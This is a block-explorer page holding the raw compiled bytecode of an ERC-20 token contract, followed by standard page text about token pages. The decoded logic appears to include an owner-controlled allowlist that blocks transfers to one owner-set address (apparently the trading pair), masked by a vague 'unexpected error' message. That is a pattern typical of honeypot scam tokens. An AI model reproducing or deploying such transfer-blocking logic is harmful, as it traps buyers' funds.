3565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b60006103da6103d3610c61565b8484610c69565b6001905092915050565b6000600254905090565b60006103fb848484610e34565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610446610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bd90611985565b60405180910390fd5b6104e3856104d2610c61565b85846104de9190611b8e565b610c69565b60019150509392505050565b60006012905090565b6000610502610c61565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156105885750610587600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168285856110b2565b5b6105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be906119c5565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610629818461110c565b505050565b610636610c61565b73ffffffffffffffffffffffffffffffffffffffff166106546108b9565b73ffffffffffffffffffffffffffffffffffffffff16146106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a1906119a5565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006107906106fb610c61565b848460016000610709610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611b38565b610c69565b6001905092915050565b6107a2610c61565b73ffffffffffffffffffffffffffffffffffffffff166107c06108b9565b73ffffffffffffffffffffffffffffffffffffffff1614610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906119a5565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108f290611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461091e90611c63565b801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b5050505050905090565b60008060016000610984610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611a45565b60405180910390fd5b610a5e610a4c610c61565b858584610a599190611b8e565b610c69565b600191505092915050565b6000610a7d610a76610c61565b8484610e34565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590611a65565b60405180910390fd5b610b8960008361111a565b8060026000828254610b9b9190611b38565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf09190611b38565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c559190611a85565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090611a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090611945565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e279190611a85565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b906119e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90611905565b60405180910390fd5b610f1e838361111a565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611965565b60405180910390fd5b8181610fb09190611b8e565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110409190611b38565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a49190611a85565b60405180910390a350505050565b6000806110c76110c28686611201565b611234565b90508573ffffffffffffffffffffffffffffffffffffffff166110ea8285611264565b73ffffffffffffffffffffffffffffffffffffffff1614915050949350505050565b6111168282610b0e565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111fd57600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390611925565b60405180910390fd5b5b5050565b60008282604051602001611216929190611816565b60405160208183030381529060405280519060200120905092915050565b6000816040516020016112479190611842565b604051602081830303815290604052805190602001209050919050565b600080600080611273856112d3565b9250925092506001868285856040516000815260200160405260405161129c949392919061189e565b6020604051602081039080840390855afa1580156112be573d6000803e3d6000fd5b50505060206040510351935050505092915050565b6000806000604184511461131c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131390611a25565b60405180910390fd5b6020840151925060408401519150606084015160001a90509193909250565b600061134e61134984611ae0565b611abb565b90508281526020810184848401111561136a57611369611d90565b5b611375848285611c21565b509392505050565b60008135905061138c816120dc565b92915050565b6000813590506113a1816120f3565b92915050565b600082601f8301126113bc576113bb611d8b565b5b81356113cc84826020860161133b565b91505092915050565b6000813590506113e48161210a565b92915050565b600060208284031215611400576113ff611d9a565b5b600061140e8482850161137d565b91505092915050565b6000806040838503121561142e5761142d611d9a565b5b600061143c8582860161137d565b925050602061144d8582860161137d565b9150509250929050565b6000806000606084860312156114705761146f611d9a565b5b600061147e8682870161137d565b935050602061148f8682870161137d565b92505060406114a0868287016113d5565b9150509250925092565b600080604083850312156114c1576114c0611d9a565b5b60006114cf8582860161137d565b92505060206114e085828601611392565b9150509250929050565b6000806040838503121561150157611500611d9a565b5b600061150f8582860161137d565b9250506020611520858286016113d5565b9150509250929050565b6000806040838503121561154157611540611d9a565b5b600061154f858286016113d5565b925050602083013567ffffffffffffffff8111156115705761156f611d95565b5b61157c858286016113a7565b9150509250929050565b61158f81611bc2565b82525050565b6115a66115a182611bc2565b611cc6565b82525050565b6115b581611bd4565b82525050565b6115c481611be0565b82525050565b6115db6115d682611be0565b611cd8565b82525050565b60006115ec82611b11565b6115f68185611b1c565b9350611606818560208601611c30565b61160f81611d9f565b840191505092915050565b6000611627602383611b1c565b915061163282611dbd565b604082019050919050565b600061164a601d83611b1c565b915061165582611e0c565b602082019050919050565b600061166d601c83611b2d565b915061167882611e35565b601c82019050919050565b6000611690602283611b1c565b915061169b82611e5e565b604082019050919050565b60006116b3602683611b1c565b91506116be82611ead565b604082019050919050565b60006116d6602883611b1c565b91506116e182611efc565b604082019050919050565b60006116f9602083611b1c565b915061170482611f4b565b602082019050919050565b600061171c601583611b1c565b915061172782611f74565b602082019050919050565b600061173f602583611b1c565b915061174a82611f9d565b604082019050919050565b6000611762602483611b1c565b915061176d82611fec565b604082019050919050565b6000611785601883611b1c565b91506117908261203b565b602082019050919050565b60006117a8602583611b1c565b91506117b382612064565b604082019050919050565b60006117cb601f83611b1c565b91506117d6826120b3565b602082019050919050565b6117ea81611c0a565b82525050565b6118016117fc82611c0a565b611cf4565b82525050565b61181081611c14565b82525050565b60006118228285611595565b60148201915061183282846117f0565b6020820191508190509392505050565b600061184d82611660565b915061185982846115ca565b60208201915081905092915050565b600060208201905061187d6000830184611586565b92915050565b600060208201905061189860008301846115ac565b92915050565b60006080820190506118b360008301876115bb565b6118c06020830186611807565b6118cd60408301856115bb565b6118da60608301846115bb565b95945050505050565b600060208201905081810360008301526118fd81846115e1565b905092915050565b6000602082019050818103600083015261191e8161161a565b9050919050565b6000602082019050818103600083015261193e8161163d565b9050919050565b6000602082019050818103600083015261195e81611683565b9050919050565b6000602082019050818103600083015261197e816116a6565b9050919050565b6000602082019050818103600083015261199e816116c9565b9050919050565b600060208201905081810360008301526119be816116ec565b9050919050565b600060208201905081810360008301526119de8161170f565b9050919050565b600060208201905081810360008301526119fe81611732565b9050919050565b60006020820190508181036000830152611a1e81611755565b9050919050565b60006020820190508181036000830152611a3e81611778565b9050919050565b60006020820190508181036000830152611a5e8161179b565b9050919050565b60006020820190508181036000830152611a7e816117be565b9050919050565b6000602082019050611a9a60008301846117e1565b92915050565b6000602082019050611ab56000830184611807565b92915050565b6000611ac5611ad6565b9050611ad18282611c95565b919050565b6000604051905090565b600067ffffffffffffffff821115611afb57611afa611d5c565b5b611b0482611d9f565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b4382611c0a565b9150611b4e83611c0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8357611b82611cfe565b5b828201905092915050565b6000611b9982611c0a565b9150611ba483611c0a565b925082821015611bb757611bb6611cfe565b5b828203905092915050565b6000611bcd82611bea565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611c4e578082015181840152602081019050611c33565b83811115611c5d576000848401525b50505050565b60006002820490506001821680611c7b57607f821691505b60208210811415611c8f57611c8e611d2d565b5b50919050565b611c9e82611d9f565b810181811067ffffffffffffffff82111715611cbd57611cbc611d5c565b5b80604052505050565b6000611cd182611ce2565b9050919050565b6000819050919050565b6000611ced82611db0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416e20756e6578706563746564206572726f72206f636375727265642e000000600082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4661696c65642041757468656e7469636174696f6e0000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f696e76616c6964207369676e6174757265206c656e6774680000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6120e581611bc2565b81146120f057600080fd5b50565b6120fc81611bd4565b811461210757600080fd5b50565b61211381611c0a565b811461211e57600080fd5b5056fea264697066735822122080ee66a3f5be86313a74d57376a14de720c8c6e352a0d93fee4b70504fbbd65e64736f6c63430008070033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.